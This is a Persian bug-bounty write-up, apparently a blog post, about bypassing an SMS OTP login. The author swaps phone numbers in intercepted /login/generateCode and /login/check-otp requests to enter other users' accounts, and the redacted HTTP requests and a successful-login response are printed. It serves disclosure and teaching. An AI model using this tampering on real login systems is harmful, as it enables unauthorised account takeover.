رایتاپ Business Logic دسترسی به اکانت شماره 2
سلام.من بهروز منصوری هستم و قراره در رایتاپ Business Logic دسترسی به اکانت شماره 2 نشان بدم که چطور otp صفحه ورود را بایپس می کنیم.
فرآیند کشف آسیب پذیری:
شروع کار کمک گرفتن از Burp Suiteبود.
در صفحه ورود به برنامه، با یک روش احراز هویت دو مرحله ای مواجه شدم.
در مرحله اولیه، از کاربران خواسته شد تا شماره تلفن خود را وارد کنند، این امر باعث ایجاد و ارسال یک رمز عبور یک بار مصرف (OTP) از طریق پیامک برای احراز هویت میشود.
پس از آن کاربران کد ارسال شده به گوشی خود را برای ورود وارد می کردند.
هنگام تجزیه و تحلیل بسته های ارسال شده متوجه شدم که اعتبار سنجی ورودی اشتباه انجام شده است و می توانم یک کد برای کاربران مختلف ایجاد کنم.
برای انجام این کار، باید یک پروکسی بین مشتری و سرور داشته باشم.
بهره برداری از آسیب پذیری:
برای بهره برداری ابتدا یک کاربر هدف را انتخاب کردم.
در مرحله بعد، با ویژگی رهگیری Burp Suite Proxy، شماره تلفن کاربر مورد نظر را با شماره تلفن خودم تغییر دادم و یک OTP برای دستگاه من ایجاد شد.
POST /login/generateCode HTTP/1.1
Host: **************
Cookie: **************
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 63
X-Requested-With: XMLHttpRequest
Origin: *********
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
tel_no=MY_PHONE_NUMBER&csrf_token=*****
پس از ارسال درخواست، یک OTP به دستگاه من ارسال شد.
مرحله بعدی شامل فرآیند ورود بود، من شماره تلفن هدف و کد OTP را که برای من ارسال شد وارد کردم.
سپس، با Burp Suite Intercept، شماره تلفن را تغییر دادم.
این دستکاری گامی حیاتی بود که به من اجازه داد تا OTP تولید شده برای دستگاهم را به طور یکپارچه بپذیرم.
درخواست HTTP که در آن شماره تلفن هدف را به شماره خودم تغییر دادم تا به حساب مورد نظر وارد شوم:
POST /login/check-otp HTTP/1.1
Host: **********
Cookie: *************
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 77
Referer: *********
X-Newrelic-Id: ********
Newrelic: ***********
Tracestate: ************
X-Requested-With: XMLHttpRequest
Origin: *************
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
tel_no=MY_PHONE_NUMBER&otp_code=MY_OTP&csrf_token=*****
و اما پاسخ سرور:
HTTP/1.1 200
Server: *****
Date: Tue, 10 Oct 2023 07:13:07 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
Set-Cookie: ****;
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 170
{"success":true,"message":"Login Succesful: TARGET_USERNAME."}
با این روش به حساب افراد دیگر دسترسی پیدا میکنم.
این رایتاپ Business Logic دسترسی به اکانت شماره 2 بود و شماره ۱ را می توانید اینجا مطالعه کنید.
اگر به هک و امنیت و البته باگ بانتی علاقه دارید دوره کلوپ امنیت ۱ و پیشرفته دقیقاً مناسب شماست.